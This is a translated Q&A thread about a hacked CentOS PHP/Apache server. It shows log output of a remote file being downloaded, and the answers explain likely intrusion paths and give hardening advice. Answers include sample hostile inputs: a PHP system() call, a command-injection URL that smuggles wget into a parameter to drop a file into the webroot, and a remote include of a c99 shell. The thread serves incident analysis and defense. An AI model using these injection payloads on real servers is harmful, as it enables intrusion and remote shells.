Назад | Перейти на главную страницу

сервер взломан. нужна помощь в поиске как

один из наших модулей CentOS, на котором работает PHP / Apache, был недавно взломан. К счастью, мы собирались вскоре вывести этот сервер из эксплуатации и иметь резервные копии и т. Д. Однако мне нужна помощь в выяснении того, как хакеры смогли проникнуть внутрь.

Из того, что я собрал, похоже, что некоторые скрипты были написаны на наши серверы с использованием apache (возможно, PUT?) В apache error_logs, которые я вижу:

    [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php   
    --2010-09-10 12:46:45--  http://208.75.xx.xx/newmax/max.txt
    Connecting to 208.75.xx.xx:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 28975 (28K) [text/plain]
    Saving to: `max.txt'

         0K .......... .......... ........                        100%  184K=0.2s

    2010-09-10 12:46:45 (184 KB/s) - `max.txt' saved [28975/28975]

      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    ^M  3 28975    3  1140    0     0   8597      0  0:00:03 --:--:--  0:00:03  8597^M100 28975  100 28975    0     0  88203      0 --:--:-- --:--:-- --:--:--  139k
    sh: lynx: command not found
     [Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php

(первая и последняя строки - это просто фиктивные строки ошибок, чтобы указать формат журнала и странность того, как записи находятся между ними).

Есть идеи, как журнал ошибок apache будет иметь этот формат и как он мог быть запущен?

Я добавлю больше к этому вопросу, когда наткнусь на новые выводы.

Типичный способ взлома сервера выглядит так:

1) На сервере работает PHP с настройками по умолчанию; это означает отсутствие safe_mode, разрешены все функции POSIX (такие как system ()) и активирована пара универсальных, но опасных модулей PHP, таких как curl.

2) На сервере установлен / tmp (или любой другой каталог temp для загрузки http) с настройками по умолчанию; это означает, что он позволяет исполнять файлы.

3) Сервер имеет / var / www (или любую другую точку монтирования для webroot) смонтирован с настройками по умолчанию; это означает, что он позволяет исполнять файлы.

4) Есть самодельный PHP-скрипт со слабой проверкой ввода / известной уязвимостью в некоторых CMS или другом установленном программном обеспечении.

В такой среде злоумышленник может загрузить вредоносный файл через http или указать серверу получить его с удаленного сервера, а затем просто запустить этот сценарий, передав некоторые параметры URL-адреса, в которых отсутствует проверка ввода.

Если сценарий PHP не проверяет ввод, параметры URL (или запрос POST) могут содержать такие вещи, как <?php system("/tmp/pwn4g3"); ?>. karmawhore уже объяснил это.

Итак, чтобы остановить это зло:

  • смонтировать веб-корневой каталог и временный каталог PHP с помощью noexec флаг.
  • по возможности отключите опасные функции в PHP
  • по возможности используйте PHP safe_mode (хотя он далеко не надежен и может быть полностью удален со временем).
  • не позволяйте пользователю Apache использовать gcc или, что еще лучше, не устанавливайте gcc на свой веб-сервер вообще.
  • использовать mod_security.
  • использовать Сухосин.
  • используйте php-fpm, suphp или другие методы для запуска скриптов в качестве учетных записей их владельцев вместо общей учетной записи Apache.
  • обновляйте свое программное обеспечение.

Я предполагаю, что register_globals включен, и вы используете OSCommerce без четырех исправлений на их форумах. Почему они отказываются обновлять файлы .zip / .gz патчами, я не знаю.

Я полагаю, что max.txt, вероятно, является оболочкой c99 и загружается в ваш / store / images путь как something.php. Как только они смогут запустить этот файл в браузере, у них появится удаленная оболочка.

Если вы не используете OSCommerce, поищите обращения к вашим включаемым файлам. Т.е. у вас может быть файл function.php, который не следует вызывать напрямую, который имеет:

exec($path . 'convert blahblah');

запрос отправляется с:

hxxp://yoursite.com/function.php?path=wget%20-O%20/path/to/something/web/accessible/file.php%20hxxp://blahblah

что позволяет им записывать файл на диск, который может быть запущен удаленно. Также возможно, что они использовали XSS-эксплойт в вашем коде, чтобы сделать что-то вроде:

require($webpath . '/functions.lib.php');

и запрос был отправлен с помощью? webpath = hxxp: //c99shell.com/location.txt? что дало им удаленную оболочку. Получив удаленную оболочку, они попытались запустить wget / lynx (или загрузили сценарий оболочки для запуска ряда методов, чтобы убедиться, что их полезная нагрузка установлена)

В этом случае может помочь allow_url_include = off.